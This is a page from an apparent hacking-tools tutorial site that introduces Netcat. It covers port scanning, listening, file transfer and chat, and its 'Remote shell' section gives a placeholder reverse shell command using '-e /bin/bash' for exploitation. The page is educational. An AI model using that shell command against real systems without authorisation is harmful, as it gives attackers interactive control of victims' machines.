🛠️
Hacking tools
  • Welcome!
  • Nmap
    • Nmap - Intro
    • Commands
    • Nmap Switches
    • Nmap Scripting Engine
  • Metasploit
    • Metasploit - Intro
    • Metasploit Framework Console
    • Msfvenom
    • Meterpreter
  • Netcat
    • Netcat - Intro
    • Netcat - Advanced
  • John the Ripper
    • John the Ripper - Intro
    • John the Ripper - Commands
  • Web Directory Fuzzers
    • Gobuster
    • Ffuf
  • Hydra
    • Hydra - Intro
    • Hydra - Commands
  • SQLMap
Powered by GitBook
On this page
  • Introduction
  • Uses
  • Port scanning
  • Port listening
  • Data transfer
  • Chat application
  • Remote shell
  • Common Netcat Options
  1. Netcat

Netcat - Intro

PreviousMeterpreterNextNetcat - Advanced

Last updated 11 months ago

Introduction

Netcat is a versatile networking utility tool used for reading from and writing to network connections using TCP or UDP protocols. It is often referred to as "Swiss Army Knife" of networking tools. It is widely used for network diagnostics, testing, and various network-related tasks.

Uses

Port scanning

Netcat can be used to scan for open ports on a target system, which is useful for discovering running services.

nc -zv [target_ip] [port(s)]

(This will scan the target ip's ports from 1 to 1000)

Port listening

Netcat can listen on specified ports, making it useful for setting up simple servers or for waiting to receive connections.

nc -l -p [port]

(This command listens for incoming connections on port 1234)

Data transfer

Netcat can transfer files or data between computers over the network.

nc -l -p [port] > file.txt

(This is for receiver's end)

nc [receiver_ip] [port] < file.txt

(This is for sender's end)

Chat application

Netcat can be used to create a simple chat application by connecting two instances of Netcat to each other.

nc -l -p [port]

(This is on listener's machine)

nc [listener_ip] [port]

(This is on another machine)

Remote shell

Netcat can be used to set up remote shells for getting reverse shell or remote administration for exploitation purposes.

nc -l -p [port]

(This is on listener's machine)

nc [target_ip] [port] -e /bin/bash

(This is on target machine)

The -e option is used to execute the command /bin/bash which starts the bash shell after connection establishment.

Common Netcat Options

  • -l: Listen mode for inbound connections.

  • -p: Local port number to listen on or connect to.

  • -e: Program to execute after a connection is established.

  • -z: Zero-I/O mode (useful for scanning).

  • -v: Verbose mode (provides more information).

  • -n: Disable DNS resolution (useful for disabling DNS lookups and speeding up operations)

netcat